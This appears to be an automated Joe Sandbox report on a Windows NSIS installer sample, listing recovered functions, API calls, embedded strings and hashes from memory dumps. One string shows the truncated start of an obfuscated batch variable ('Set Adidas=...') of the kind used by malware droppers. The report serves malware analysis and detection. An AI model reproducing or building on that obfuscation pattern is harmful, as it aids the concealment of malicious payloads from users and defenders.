SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Sleep(%d), xrefs: 0040169D
Aborting: "%s", xrefs: 0040161D
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Rename on reboot: %s, xrefs: 00401943
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename: %s, xrefs: 004018F8
CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: "%s" (%d), xrefs: 004017BF
detailprint: %s, xrefs: 00401679
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Call: %d, xrefs: 0040165A
SetFileAttributes failed., xrefs: 004017A1
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Jump: %d, xrefs: 00401602
Rename failed: %s, xrefs: 0040194B
BringToFront, xrefs: 004016BD

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

.DEFAULT\Control Panel\International, xrefs: 00405999
RichEdit, xrefs: 00405BC4
RichEdit20A, xrefs: 00405BB6, 00405BBB
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
.exe, xrefs: 00405A3D
@rD, xrefs: 00405965
@%F, xrefs: 004059F6
RichEd20, xrefs: 00405B9D
_Nb, xrefs: 00405AD1
RichEd32, xrefs: 00405BA8
B%F, xrefs: 00405A1F

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user abort, xrefs: 00401B53
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user retry, xrefs: 00401B40
File: error creating "%s", xrefs: 00401AF0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

soft, xrefs: 00403675
Inst, xrefs: 0040366C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E
Error launching installer, xrefs: 004035D7

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 0040343C
X1C, xrefs: 004033ED
Set Adidas=TyUeNegotiations-Chip-Fathers-Case-Dollars-Penalties-mxrGRochester-Vice-Assign-J-Su-Minus-Dream-ZlseMate-Taxi-Waves-Sam-Parliament-Exec-Defense-Shades-Debut-xWnInfinite-Ft-Increasing-N-Harrison-Finding-Apache-Varies-hgLouisiana-Orange-Bedf, xrefs: 004033A9
... %d%%, xrefs: 0040349E

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$Set Adidas=TyUeNegotiations-Chip-Fathers-Case-Dollars-Penalties-mxrGRochester-Vice-Assign-J-Su-Minus-Dream-ZlseMate-Taxi-Waves-Sam-Parliament-Exec-Defense-Shades-Debut-xWnInfinite-Ft-Increasing-N-Harrison-Finding-Apache-Varies-hgLouisiana-Orange-Bedf$X1C$X1C
API String ID: 651206458-2328794914
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNEL32(00960E28), ref: 00402387

Strings

open, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-1711415406
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

open, xrefs: 00402770
<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$WriteINIStr: wrote [%s] %s=%s in %s$open
API String ID: 247603264-1827671502
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

